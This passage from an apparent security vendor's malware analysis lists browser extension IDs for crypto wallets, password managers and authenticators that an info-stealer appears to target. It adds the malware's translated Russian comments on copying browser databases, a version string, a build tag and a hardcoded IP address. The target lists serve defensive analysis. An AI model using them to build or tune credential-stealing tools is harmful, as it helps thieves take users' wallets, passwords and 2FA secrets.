emeeapjkbcbpbpgaagfchmcgglmebnen  ->  Surf Wallet
fldfpgipfncgndfolcbkdeeknbbbnhcc  ->  My Wallet • Crypto & Web3
penjlddjkjgpnkllboccdgccekpkcbin  ->  OpenMask - TON wallet
hmeobnfnfcmdkdcmlblgagmfpfboieaf  ->  Ctrl Wallet
omaabbefbmiijedngplfjmnooppbclkk  ->  Tonkeeper — wallet for TON
jnlgamecbpmbajjfhmmmlhejkemejdma  ->  Braavos: Bitcoin & Starknet Wallet
fpkhgmpbidmiogeglndfbkegfdlnajnf  ->  Cosmostation Wallet
bifidjkcdpgfnlbcjpdkdcnbiooooblg  ->  Fuelet Wallet | Fuel
amkmjjmmflddogmhpjloimipbofnfjih  ->  Wombat - Gaming Wallet for Ethereum & EOS
aeachknmefphepccionboohckonoeemg  ->  Coin98 Wallet Extension: Crypto & Defi
dmkamcknogkgcdfhhbddcghachkejeap  ->  Keplr
aiifbnbfobpmeekipheeijimdpnlpgpp  ->  Station Wallet
ehgjhhccekdedpbkifaojjaefeohnoea  ->  Ambire Web3 Wallet
nknhiehlklippafakaeklbeglecifhad  ->  Nabox Wallet
nphplpgoakhhjchkkhmiggakijnkhfnd  ->  TON Wallet
ibnejdfjmmkpcnlpebklmnkoeoihofec  ->  TronLink
afbcbjpbpfadlkmhmclhkeeodmamcflc  ->  MathWallet
efbglgofoippbgcjepnhiblaibcnclgk  ->  Martian Aptos & Sui Wallet Extension
fccgmnglbhajioalokbcidhcaikhlcpm  ->  Zapit: Crypto Wallet & P2P Exchange
mgffkfbidihjpoaomajlbgchddlicgpn  ->  Pali Wallet
fopmedgnkfpebgllppeddmmochcookhc  ->  Suku Wallet
jojhfeoedkpkglbfimdfabpdfjaoolaf  ->  Polymesh Wallet
abkahkcbhngaebpcgfmhkoioedceoigp  ->  Casper Wallet
gkeelndblnomfmjnophbhfhcjbcnemka  ->  Bitverse Wallet
hgbeiipamcgbdjhfflifkgehomnmglgk  ->  Harbor - Crypto Wallet
ellkdbaphhldpeajbepobaecooaoafpg  ->  ASI Alliance Wallet
mdnaglckomeedfbogeajfajofmfgpoae  ->  Energy8 Wallet
ckklhkaabbmdjkahiaaplikpdddkenic  ->  Internet Money | Crypto Wallet
fmblappgoiilbgafhjklehhfifbdocee  ->  Forbole X
cnmamaachppnkjgnildpdmkaakejnhae  ->  Auro Wallet
fijngjgcjhjmmpcmkeiomlglpeiijkld  ->  Talisman Wallet
lbjapbcmmceacocpimbpbidpgmlmoaao  ->  Metalet
ibljocddagjghmlpgihahamcghfggcjc  ->  Virgo Wallet
gkodhkbmiflnmkipcmlhhgadebbeijhh  ->  Soter | Aleo Wallet
dbgnhckhnppddckangcjbkjnlddbjkna  ->  Fin Wallet For Sei
agoakfejjabomempkjlepdflaleeobhb  ->  Core Wallet: Crypto Made Easy
dgiehkgfknklegdhekgeabnhgfjhbajd  ->  Chrome Web Store
onhogfjeacnfoofkfgppdlbmlmnplgbn  ->  SubWallet - Polkadot Wallet
ojggmchlghnjlapmfbnjholfjkiidbch  ->  Venom Wallet
pmmnimefaichbcnbndcfpaagbepnjaig  ->  FoxWallet
anokgmphncpekkhclmingpimjmcooifb  ->  Chrome Web Store
kkpllkodjeloidieedojogacfhpaihoh  ->  Enkrypt: ETH, BTC and Solana Wallet
iokeahhehimjnekafflcihljlcjccdbe  ->  Alby - Bitcoin Wallet for Lightning & Nostr
ifckdpamphokdglkkdomedpdegcjhjdp  ->  ONTO Wallet
loinekcabhlmhjjbocijdoimmejangoa  ->  Glass wallet | Sui wallet
fcfcfllfndlomdhbehjjcoimbgofdncg  ->  Chrome Web Store
ifclboecfhkjbpmhgehodcjpciihhmif  ->  Klever Wallet
ookjlbkiijinhpmnjffcofjonbfbgaoc  ->  Temple Wallet
oafedfoadhdjjcipmcbecikgokpaphjk  ->  CoinWallet: BTC Crypto Wallet
mapbhaebnddapnmifbbkgeedkeplgjmf  ->  Biport Wallet
lgmpcpglpngdoalbgeoldeajfclnhafa  ->  SafePal Extension Wallet
ppbibelpcjmhbdihakflkdcoccbgbkpo  ->  UniSat Wallet
ffnbelfdoeiohenkjibnmadjiehjhajb  ->  SecondFi (Yoroi)
opcgpfmipidbgpenhmajoajpbobppdil  ->  Slush — A Sui wallet
hdkobeeifhdplocklknbnejdelgagbao  ->  Crypto wallet – Bitcoin & USDT
lnnnmfcpbkafcpgdilckhmhbkkbpkmid  ->  Koala Wallet
nbdhibgjnjpnkajaghbffjbkcgljfgdi  ->  Ramper Wallet
kmhcihpebfmpgmihbkipcmlmmioameka  ->  Chrome Web Store
kmphdnilpmdejikjdnlbcnmnabepfgkh  ->  OsmWallet - Your XRP wallet.
khpkpbbcccdmmclmpigdgddabeilkdpd  ->  Chrome Web Store
dlcobpjiigpikoobohmabehhmhfoodbb  ->  Ready X
mkpegjkblkkefacfnmkajcjmabijhclg  ->  Magic Eden Wallet
dldjpboieedgcmpkchcjcbijingjcgok  ->  Fuel Wallet
jiidiaalihmmhddjgbnbgdfflelocpak  ->  Bitget Wallet - Crypto, Web3 | Bitcoin & USDT

Browser Extensions

$ cat browserextensions.txt | python3 findextension.py
eiaeiblijfjekdanodkjadfinkhbfgcd  ->  NordPass® Password Manager & Digital Vault
aeblfdkhhhdcdjpifhhbdiojplfjncoa  ->  1Password – Password Manager
bfogiafebfohielmmehodmfbbebbbpei  ->  Keeper® Password Manager & Digital Vault
nngceckbapebfimnlniiiahkandclblb  ->  Bitwarden Password Manager
fdjamakpfbbddfjaooikfcpabgjikfkp  ->  Chrome Web Store
hdokiejnpimakedhajhdlcegeplioahd  ->  LastPass: Free Password Manager
pnlccmojcmeohlpggmfnbbiapkmbliob  ->  RoboForm Password Manager
ghmbeldphafepmbegfdlkpapadhbakde  ->  Proton Pass: Free Password Manager
kmcfomidfpdkfieipokbalgegidffkal  ->  Enpass Password Manager
bnfdmghkeppfadphbnkjcicejfepnbfe  ->  Sticky Password manager & safe
caljgklbbfbcjjanaijlacgncafpegll  ->  Avira Password Manager
folnjigffmbjmcjgmbbfcpleeddaedal  ->  LogMeOnce
igkpcodhieompeloncfnbekccinhapdb  ->  Zoho Vault - Password Manager
admmjipmmciaobhojoghlmleefbicajg  ->  Norton Password Manager
ehpbfbahieociaeckccnklpdcmfaeegd  ->  Chrome Web Store
epanfjkfahimkgomnigadpkobaefekcd  ->  IronVest Extension
didegimhafipceonhjepacocaffmoppf  ->  Passbolt - Open source password manager
oboonakemofpalcgghocfoadofidjkkk  ->  KeePassXC-Browser
jgnfghanfbjmimbdmnjfofnbcgpkbegj  ->  KeePassHelper Password Manager
mmhlniccooihdimnnjhamobppdhaolme  ->  Kee - Password Manager
dbfoemgnkgieejfkaddieamagdfepnff  ->  2FAS Auth - Two Factor Authentication
bhghoamapcdpbohphigoooaddinpkbai  ->  Authenticator
nngceckbapebfimnlniiiahkandclblb  ->  Bitwarden Password Manager
lojeokmpinkpmpbakfkfpgfhpapbgdnd  ->  Chrome Web Store
ibpjepoimpcdofeoalokgpjafnjonkpc  ->  TOTP Authenticator
gmohoglkppnemohbcgjakmgengkeaphi  ->  2FA Authenticator
hdokiejnpimakedhajhdlcegeplioahd  ->  LastPass: Free Password Manager
oboonakemofpalcgghocfoadofidjkkk  ->  KeePassXC-Browser
dckgbiealcgdhgjofgcignfngijpbgba  ->  Open Two-Factor Authenticator
gmegpkknicehidppoebnmbhndjigpica  ->  Web2FA - Authenticator
eiokpeobbgpinbmcanngjjbklmhlepan  ->  MFAuth - 2FA Authenticator
odfkmgboddhcgopllebhkbjhokpojigd  ->  Authenticator Extension
ppnbnpeolgkicgegkbkbjmhlideopiji  ->  Microsoft Single Sign On
cejfhijdfemlohmcjknpbeaohedoikpp  ->  Secure TOTP Authenticator - 2FA Code Manager - MFA
nmhjblhloefhbhgbfkdgdpjabaocnhha  ->  mini authenticator
iklgijhacenjgjgdnpnohbafpbmnccek  ->  2! Authenticator
ppkkcfblhfgmdmefkmkoomenhgecbemi  ->  Authenticator for PC
lgndjfkadlbpaifdpbbobdodbaiaiakb  ->  Authenticator App
bbphmbmmpomfelajledgdkgclfekilei  ->  Authenticator app
bnfooenhhgcnhdkdjelgmmkpaemlnoek  ->  Auto 2FA

Constant Strings

Russian comments

Translation: Simple copying of all important files (including WAL/SHM)
-- Простое копирование всех важных файлов (включая WAL/SHM)

Translation: Removed the fragile SafeSQLiteCopy (which often crashed when Firefox was running)
-- Убрана хрупкая SafeSQLiteCopy (часто падала когда Firefox запущен)

Info strings

  • The version of the malware as a hardcoded string 1.1.2_release (x64_86 & ARM). In this we see a typo at the arch. It should be x86_64 , not x64_86
  • The Build Tag, as static string Build Tag: Build 5
  • IP Address: IP: 100.53.137.34

Related posts

The dream SOC team.
Working with you 24/7.

Detection, triage, investigation, and response covered by four Exabots running on a unified, real-time view of your environment. Operate the platform yourself, or have Exaforce run it for you.